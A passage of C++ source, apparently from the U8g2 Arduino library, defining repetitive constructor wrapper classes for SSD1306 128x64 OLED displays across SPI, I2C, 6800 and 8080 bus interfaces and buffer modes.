u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_SW_I2C : public U8G2 {\n  public: 